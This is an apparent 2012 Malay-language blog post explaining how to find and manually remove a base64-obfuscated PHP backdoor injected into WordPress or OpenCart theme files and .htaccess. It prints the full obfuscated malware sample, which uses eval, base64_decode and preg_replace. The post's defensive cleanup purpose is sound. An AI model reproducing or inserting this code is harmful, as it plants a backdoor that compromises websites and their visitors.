Assalamualaikum tuan-tuan dan puan-puan,
Bertemu sekali lagi, pernah kena serangan backdoor code base 64?.
Malicious kod ini biasanya dia akan serang laman web dan juga blog. Siapa-siapa yang guna platform WordPress,Opencart atau guna pekhidmatan share hosting memang senang kena penyakit ini.Macam mana nak kesan dan nak repair malicious kod ini?
Biasanya kalau kena penyakit ini, tuan-tuan dan puan-puan akan dapat pop up alert dari anti virus software yang dipasang dalam komputer tuan-tuan dan puan-puan.Pop up tersebut akan bagi warning lebih kurang macam ni ” MALICIOUS URL BLOCK “.Aaaaaa…. kalau keluar alert macam tu dari laman blog atau laman web tuan-tuan dan puan-puan.Itu menunjukkan bahawa sekarang ini laman web atau blog tuan-tuan dan puan-puan telah menjadi agen kepada MALICIOUS Code evil base64.( nama rasmi kod ini saya tidak tahu ).Awas! di dalamnya ada diselitkan kod backdoor.Scan dengan antivirus memang susah nak jumpa code ini dan kod ni pandai bersembunyi..
Macam mana nak cuci kod ini cara manual?
- Sebelum aktiviti membesih malicious kod dilakukan elok buat back up terlebih dahulu
- Database pun kena buat backup juga
- Lepas tu tengok dekat theme,user dan admin dan cari index.php,footer.php.header.php.Kadang-kadang depa inject masuk dalam .htaccess file.
- Buka guna editor seperti notepad++ atau guna editor dalam hosting CPanel pun boleh.
- Scroll bawah sekali dan cari kod tambahan yang lebih kurang sama macam yang saya attach dekat bawah, kemudian highlight dan tekan delete .
Contoh Kod
<?php @error_reporting(0
); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687
.5
*0
.016
), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0
.031
*0
.061
];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625
*0
.016
), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0
.016
*(7812
.5
*0
.016
)],$eva1tYidokBcVSjr[62
.5
*0
.016
],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0
.061
*0
.031
]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Contoh kod malicious tersebut lebih kurang macam tu la. Selagi dok ada… alert ” MALICIOUS URL BLOCK ” .Maknanya masih ada lagi kod tersebut yang tersmbunyi di dalam server atau file laman web tuan-tuan dan puan-puan.
Jika tak tau nak buat macm mana,tuan-tuan dan puan-puan boleh dapatkan bantuan ini dari pihak saya. Sila tinggalkan hasrat tuan-tuan dan puan-puan dalam ruangan komen yang tersedia secara percuma dibawah.
Sekian terima kasih dan selamat mencuba.
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This entry was posted
on Saturday, February 11th, 2012 at 5:54 pm and is filed under Sharing Is Good, Web & Blog Security.
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